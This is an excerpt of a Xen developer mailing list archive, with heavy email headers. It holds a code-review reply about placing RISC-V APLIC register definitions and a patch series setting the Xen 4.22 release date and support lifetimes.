List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785338774; x=1785943574; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=yD9V1nQr9gSdilLfugiaP1mG1JxSdCODvxEcmzQSAbA=;
        b=kWBu/QxK/nFHydBRMxkUhmRGXnoWEbA6zc7uFCtDPzSa/Wwnyi1e5tT+dM1Ar8UTzz
         d7Z52CO6ron8i5fuCerc/XRmvNkSWxsCn1VPRb5yLpEuOKlULl+bFh8+mB4CDgyx0yIK
         PNxBKHkNvw3nC9TeNiqa+oMPqRHdEojPYNPScHefFwinAWJe/RvxEXS/S179+s2scXSj
         DS/squneCgjysNZKqLgH6SKdQALEpReRJNTzQ59aK1fmBQsowwyCC2R+MIttMt6WSYCY
         xmAqiQFQGIVAPgzd9AZfTnQ0/K34wj8qt0saW9BmZ9O+R5T36AHR4kpLCYCvhTJJ0m/Z
         Uhog==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785338774; x=1785943574;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=yD9V1nQr9gSdilLfugiaP1mG1JxSdCODvxEcmzQSAbA=;
        b=cL+sby7G+1lFJ6CX6jg4IgYoFennPe1xVTwBcovWRpw1FnJhvQNPW0Sj1LYUXcG1Ij
         FXJZpOUIzR4niE2blLQlMhaJ2Nd+la08GMEDts56CbY0gU2lx8t0uKXsMYepA4OBoG1/
         qkN7i5Y1ET8gHJfIyjkR1cVriWeOufsbuBU/bK0avqsUewKFU2Vt0ohtLEm0yXaU81tU
         UjGrqNyq6EWlHjTjaW2GsSAIY+XiNfmw8S5WjSgzNzL49/cP4Vhvq1JBvSS4VHbLR9tR
         2TNYjqeUurpDgDBB8kYocv4D87y8kUMpedJfUhgofGj0Rjw03BBblEScY54AYiQPm1HR
         9yhQ==
X-Forwarded-Encrypted: i=1; AHgh+RrC11m/trFMIEeW62i/x5cZnAPTsQNdSKLJavTRbTpkNqYCeoOUroNAX3/bbMA17YXg024NLkk6L5o=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyPp1ZqZuo8GFqDAdNskgmC+Kl7JJgqxLGZhGeSgLb5mmlSLpsi
	PxHTK/GLfUhYY+xjYeOy8r8MFRVfRNhE+vGj3jvoO9Oq5xfuWuy2ZqFr
X-Gm-Gg: AR+sD13gPl5Hve+0EpBz4OEgTLeX0gngBdm5/u8nDLzhJ6r0FaV+1GuGeq4HzrpVTbw
	PDH5CkkuVFPSE5m5e1dQtF1n23oVnqM/5pIEFMnyaBTzvq9i5fyzn3fVaPyyeYLP9B3aQXrEHQC
	5ww3Mk2hyhuGyDhVM5nAn1H96h7z7a/KSC0ErNknLXWRqskc6uCFCOlNEPu2/aJf3I3KpVr6g0D
	qGy64Ybe+V/yveTDcLeuenWXsgLQMJtknbCJIIvugKvz017vk9zriPrG1ICx6wIXNjsif3WfGVn
	I6c47wQ0NC0gggVILK6dkZq5PaQSSSQpvw2lAlHahsZwmrjtMaE+oD7/kt+Wl3MA92wDBMPVzCT
	rbVPtlpP4gEeuuDdsXp7d2NBGZlqLSUlunQIdAcWGmyT5/hFX/MvTI/0UNzq03D7fRAvtnPfuec
	IofRPoywJLQVi38ugsF/Y/6pbGTUs7whSKhBrDVSAOJ5SzjJthO46sHrlz5Wr56KsMgScMAIO1K
	r2jdlJCFk7nwx+SxQrSWGrtx14NJPc4vXNArqJlvH8=
X-Received: by 2002:a05:600c:8288:b0:495:5858:e163 with SMTP id 5b1f17b1804b1-496c6574fe7mr80638545e9.27.1785338774203;
        Wed, 29 Jul 2026 08:26:14 -0700 (PDT)
Message-ID: <0fea0d33-b25d-420f-acf0-3c65368f0bac@gmail.com>
Date: Wed, 29 Jul 2026 17:26:12 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 03/17] xen/riscv: add missing APLIC register offsets,
 masks to asm/aplic.h
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <ee3825adfd0012437a594f6a0e51c6ee71175cc4.1784560663.git.oleksii.kurochko@gmail.com>
 <a9725508-7660-4960-88ef-8e5b324f8f08@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <a9725508-7660-4960-88ef-8e5b324f8f08@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785338774-30DC12AC-6F34AC13/10/73395122804
X-purgate-type: spam
X-purgate-size: 2288



On 7/28/26 2:02 PM, Jan Beulich wrote:
> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>> @@ -25,6 +27,7 @@
>>   #define APLIC_DOMAINCFG_DM      BIT(2, U)
>>   #define APLIC_DOMAINCFG_BE      BIT(0, U)
>>   
>> +/* sourcecfg register fields */
>>   #define APLIC_SOURCECFG_SM_INACTIVE     0x0
>>   #define APLIC_SOURCECFG_SM_DETACH       0x1
>>   #define APLIC_SOURCECFG_SM_EDGE_RISE    0x4
>> @@ -32,7 +35,39 @@
>>   #define APLIC_SOURCECFG_SM_LEVEL_HIGH   0x6
>>   #define APLIC_SOURCECFG_SM_LEVEL_LOW    0x7
>>   
>> +/* target register fields */
>>   #define APLIC_TARGET_HART_IDX_SHIFT 18
>> +#define APLIC_TARGET_EIID_MASK      0x7ff
> 
> So why would these live here, far ahead of ...
> 
>> +#define APLIC_DOMAINCFG         0x0000
>> +#define APLIC_SOURCECFG_BASE    0x0004
>> +#define APLIC_SOURCECFG_LAST    0x0ffc
>> +
>> +#define APLIC_SMSICFGADDR       0x1bc8
>> +#define APLIC_SMSICFGADDRH      0x1bcc
>> +
>> +#define APLIC_SETIP_BASE        0x1c00
>> +#define APLIC_SETIP_LAST        0x1c7c
>> +#define APLIC_SETIPNUM          0x1cdc
>> +
>> +#define APLIC_CLRIP_BASE        0x1d00
>> +#define APLIC_CLRIP_LAST        0x1d7c
>> +#define APLIC_CLRIPNUM          0x1ddc
>> +
>> +#define APLIC_SETIE_BASE        0x1e00
>> +#define APLIC_SETIE_LAST        0x1e7c
>> +#define APLIC_SETIENUM          0x1edc
>> +
>> +#define APLIC_CLRIE_BASE        0x1f00
>> +#define APLIC_CLRIE_LAST        0x1f7c
>> +#define APLIC_CLRIENUM          0x1fdc
>> +
>> +#define APLIC_SETIPNUM_LE       0x2000
>> +
>> +#define APLIC_GENMSI            0x3000
>> +
>> +#define APLIC_TARGET_BASE       0x3004
>> +#define APLIC_TARGET_LAST       0x3ffc
> 
> ... the register definition itself. Would you mind taking a look at the top
> third (or so) of arch/x86/include/asm/msr-index.h? There you'll find MSR
> index values of MSRs we use, immediately followed by field definitions (of
> course only where applicable). With such an arrangement, the extra comments
> you add can easily be omitted.

I'll move the definitions mentioned above to the suggested location and 
follow this pattern in future changes. I just thought it would be better 
to keep the APLIC register definitions together in memory layout order.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 16:15:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 16:15:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376364.1623134 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp6wY-0004kp-1l; Wed, 29 Jul 2026 16:15:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376364.1623134; Wed, 29 Jul 2026 16:15:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp6wX-0004ki-Tw; Wed, 29 Jul 2026 16:15:41 +0000
Received: by outflank-mailman (input) for mailman id 1376364;
 Wed, 29 Jul 2026 16:15:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp6wW-0004LT-If
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:15:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp6wV-008W3G-Vf
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:15:39 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a6a2724-e002-0a2a0a5209dd-0a2a450b88be-12
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:15:39 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a6a272b-b7e8-0a2a450b0019-d155802aac94-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:15:39 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-495590dde14so12030465e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:15:39 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49764d70144sm68720345e9.2.2026.07.29.09.15.37
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 29 Jul 2026 09:15:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1785341739; x=1785946539; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=V1E/kwcJQcDZE8xMeFM4U2KY8usB8x1zGYwTr8JNt5A=;
        b=WYnF/jVqTzZ7bSZFWNjrV5KS4/qo+VaWScX12BLnXK8O0yufdjgsaTDd1SzN57Hlgi
         TlEMyCm50Erbnmdx2ofrN9B1aniRGtN4y6wmNJE2iIiiH1pdD3URJ25KIMmzIu1OkNk3
         QXJU0MyoIgLyvNbF2Ri53n0vixObTetR4FivQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785341739; x=1785946539;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=V1E/kwcJQcDZE8xMeFM4U2KY8usB8x1zGYwTr8JNt5A=;
        b=HBT5HcFYSfixsew7e0wRUtAsYJKDXXG7nrFVrnixlpaNWheBtwmh2NKti03bJt75nh
         RYfttLN/aYvw9hf6zdyJZmSGjm6XFIHeskDhHJYG5cfYWAXt4LoN2i6oVW/Oig458zyx
         l7zCesv0jVt+De0qmBCCP6LiGh4Exxff1IG18s98rLzy5kYHKCoWcLB5qhNjSgB2bJ6U
         rAFS2c4MZuaTer2XCl8FhFt4MB+7IqS3TZU0c3TdfVdqNDSVGN/JYh0jsBVWWYG1Of3A
         9STWpdZ1r2LQJvTh9uxyKbVHWWufBD5uCW121NsPwKSG8cqadO/T7kUoKH7cRGZ2PQcr
         YNRA==
X-Gm-Message-State: AOJu0YyGkQziELzryHvY+O4g1TbrpePU9+mchPcg5zQSCKe7QEVegBxR
	/h643PVF3htsfvYr0I1grO99v1bY59U7gK8Id/vO+Cb8nepnqMbWUqGxidpyjCznO7vyDFpeKnF
	H7ZIWevo=
X-Gm-Gg: AR+sD12DeLr5Oqih8oKMy3hrM/T7GDR8He3HqOhlavP1mZ6fWXhYgEIW3axzXpChlS9
	9aHCUHUQ/DVX+Wm6HGrpyXsWRTrICP7rBBb6iO8fnS5yWacb/mcltCkLjxfHtvpDbPmdHDjWKsI
	YqomLeFXKldqexyjQp9yXSOa/aQfbzbzWfcBzHaok/93/WKhTPmscEnddsC3YoxV/+huzpxA06s
	CVUkYS6Ht0bEdqnN6YepDT6ppvKKDkzDv7BYECHx8JLurJE5dMEKLiwkpyczaA9YNaWO82wcUlS
	KysIj3PKFThUgLuO9fbpGD5vjn2B8zI5rvEB1g8evvVgTmrwyOOfJj9IXkdxSL+adWXTUZzIDFE
	hTDzDV3VxvNlDosH9ADbANiK9VNyX7CVZME6IV9h3wYwyuw8KKYF9XkaIx7RkBQ38A59Hg9TGLl
	3vwruOtDw+IYSeRXhnF9yczJCkHh/8oaKLotOsKq0eyvtjz6Yth4kVvcendkpfLnKDn1mz1N7xS
	SgPLNEISaHJ84pv9TIfdVEGjJMF+moLCCEc9vhLVaOUEOETauY=
X-Received: by 2002:a05:600c:3f18:b0:495:4fd4:144b with SMTP id 5b1f17b1804b1-496c656e788mr80254995e9.21.1785341738941;
        Wed, 29 Jul 2026 09:15:38 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH 2/2] SUPPOT: Define support lifetime
Date: Wed, 29 Jul 2026 17:15:29 +0100
Message-Id: <20260729161529.164017-3-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20260729161529.164017-1-andrew.cooper3@citrix.com>
References: <20260729161529.164017-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1785341739-1A0C59EA-9B3C2AAA/10/73395122804
X-purgate-type: spam
X-purgate-size: 1201

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Anthony PERARD <anthony.perard@vates.tech>
CC: Michal Orzel <michal.orzel@amd.com>
CC: Jan Beulich <jbeulich@suse.com>
CC: Julien Grall <julien@xen.org>
CC: Roger Pau MonnÃ© <roger@xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>
CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>

For 4.22 only.
---
 SUPPORT.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/SUPPORT.md b/SUPPORT.md
index 7c42de4c1602..b945fc83afde 100644
--- a/SUPPORT.md
+++ b/SUPPORT.md
@@ -9,13 +9,13 @@ for the definitions of the support status levels etc.
 
 # Release Support
 
-    Xen-Version: 4.22-rc
-    Initial-Release: n/a
-    Supported-Until: TBD
-    Security-Support-Until: Unreleased - not yet security-supported
+    Xen-Version: 4.22
+    Initial-Release: 2026-07-30
+    Supported-Until: 2029-07-30
+    Security-Support-Until: 2031-07-30
 
 Release Notes
-: <a href="https://wiki.xenproject.org/wiki/Xen_Project_X.YY_Release_Notes">RN</a>
+: <a href="https://wiki.xenproject.org/wiki/Xen_Project_4.22_Release_Notes">RN</a>
 
 # Feature Support
 
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 16:15:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 16:15:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376361.1623115 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp6wW-0004Lb-H5; Wed, 29 Jul 2026 16:15:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376361.1623115; Wed, 29 Jul 2026 16:15:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp6wW-0004LU-EF; Wed, 29 Jul 2026 16:15:40 +0000
Received: by outflank-mailman (input) for mailman id 1376361;
 Wed, 29 Jul 2026 16:15:38 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wp6wU-0004L9-Ok
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:15:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp6wU-00ArQN-4K
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:15:38 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a6a270a-5cb7-0a2a0a5109dd-0a2a450ab9bc-42
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:15:38 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a6a2729-f2d2-0a2a450a0019-d155802cd82e-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:15:38 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-496b7622a83so7594865e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:15:38 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49764d70144sm68720345e9.2.2026.07.29.09.15.36
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 29 Jul 2026 09:15:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1785341737; x=1785946537; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=9dtvZiYwSHS33FtnNW1o0fe0Vzea1tne6rzBctTwe9Q=;
        b=nrjP5PpSZtGCGqMkHALkh/gNpTjuK4azT2n7hkwfDTkmYf0HqkPncQYCQJ9W8FoaPr
         UusO8l2Nw7++OIPSjx+LR92q6wjoJPlMCfMm+THgFWVkE1jpA2+MV/wkjrX/ugK1/Lfv
         ZNtWUCm9TjCo5l8JBc8Y9ZQm0X1ppwKR/k5Gg=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785341737; x=1785946537;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=9dtvZiYwSHS33FtnNW1o0fe0Vzea1tne6rzBctTwe9Q=;
        b=Q2kUUS1BZupfOPANsN0rS4YhMMccJuhfr84MPXhHrb59qBf90aOEIa8BichR23rPIy
         SO/zJyPMzqtuMLn2BKgt4Hc36kOetJvIy8MI5i5uHfshBKs3MDTnAaWmkkxU3euV2xgy
         +k9wfsAXJO3WJKgeaeJWAKOO+xiISVwBnm64VZgMvtRIj/dfkdLlRKlwOcG0MHEUpJ9K
         3bJktY9j1tez6UnGk1RNmBdiymEQpTmVzuhaImpAOTzw8I2fa+Bmi9N8Zlmsju7v1Xtj
         GIL7V4veRpSCUc5BHvcOBKZ5g2FFqZsMQVOyU7HK7RtRR3EzS1wlADKK5qgmQmvOhrgK
         zKsw==
X-Gm-Message-State: AOJu0Yzkh2M4R21RnyRgv5tL6upr6OAyVXT+rcGxPtG0kxH421OBC/xn
	c7NcVAK/W5r8wAa70MS/xjjQsquHSsyw964bQPsjUGiaCJrr5o3WlXuhmTZzYhPTio4pP7U+tLv
	uYigb
X-Gm-Gg: AR+sD13eDW3Jbkx6mNwfjTTJN7CbYavC5IJaPnFsPeYUZAA2a13OPTxXkv2v3xQP+fL
	uPigLc/HRr/PThleq0yG72OVOoCET52+IYgHiNrQjzUsVMce8tyAqWr2kcX1QSYxp86UV3NWLGX
	o84fojWKoNmWW45vS6eYgDwfmxrEkBytNrE352ctM1GZPhcM3gD3ur2HxTE+meiVVq/crHQT4Ke
	d8pmo0V2eoXszdQ20oRKq/8Yx8ew3Ag95l8lIT5GfCUrTlWcwjv2jDM1EAf6aT9vRqQGPWmw2T9
	nGxFlhVI7JaRMoSf4H0pGGSmUFTffTPeQjY8J/DoSTkVj91W0gVTzy/3/PaBYYwaYLu1Wbm8IPD
	hv9GZJWo28J0UgEaI/xIoAiA+dbSan+2zC0+uCjv/+pE2wKm9+9rE1elkW935nkPMQvdkhlrgy/
	FtLUTb6tHVd2GoOV36pJSecTpM+ueLSumEe5U+/eFKYCr55qNooAmEakbXJ2bB+cRs+Km5yf6jm
	XegVIohInrm9pVKnnej3ST+RMSbXxwmYxltCTaJBjwd2vjy8A==
X-Received: by 2002:a05:600c:4583:b0:495:44f3:4576 with SMTP id 5b1f17b1804b1-496c64130a6mr76966735e9.7.1785341737012;
        Wed, 29 Jul 2026 09:15:37 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH for-4.22 0/2] Final prep
Date: Wed, 29 Jul 2026 17:15:27 +0100
Message-Id: <20260729161529.164017-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1785341738-4AEDACFC-48F43ABD/0/0
X-purgate-type: clean
X-purgate-size: 276

Andrew Cooper (2):
  CHANGELOG: Set release date for 4.22
  SUPPOT: Define support lifetime

 CHANGELOG.md |  2 +-
 SUPPORT.md   | 10 +++++-----
 2 files changed, 6 insertions(+), 6 deletions(-)


base-commit: bdc4bf3b562470bfbbf770c87fb499198f2c4098
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 16:15:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 16:15:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376362.1623121 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp6wW-0004OP-QT; Wed, 29 Jul 2026 16:15:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376362.1623121; Wed, 29 Jul 2026 16:15:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp6wW-0004OF-Lb; Wed, 29 Jul 2026 16:15:40 +0000
Received: by outflank-mailman (input) for mailman id 1376362;
 Wed, 29 Jul 2026 16:15:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp6wV-0004LE-10
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:15:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp6wU-008W3G-Du
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 18:15:38 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a6a271c-e002-0a2a0a5209dd-0a2a4504de32-16
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:15:38 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a6a272a-b57f-0a2a45040019-d1558036c5f3-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 18:15:38 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-4954c0833b4so8090785e9.1
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:15:38 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49764d70144sm68720345e9.2.2026.07.29.09.15.37
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 29 Jul 2026 09:15:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
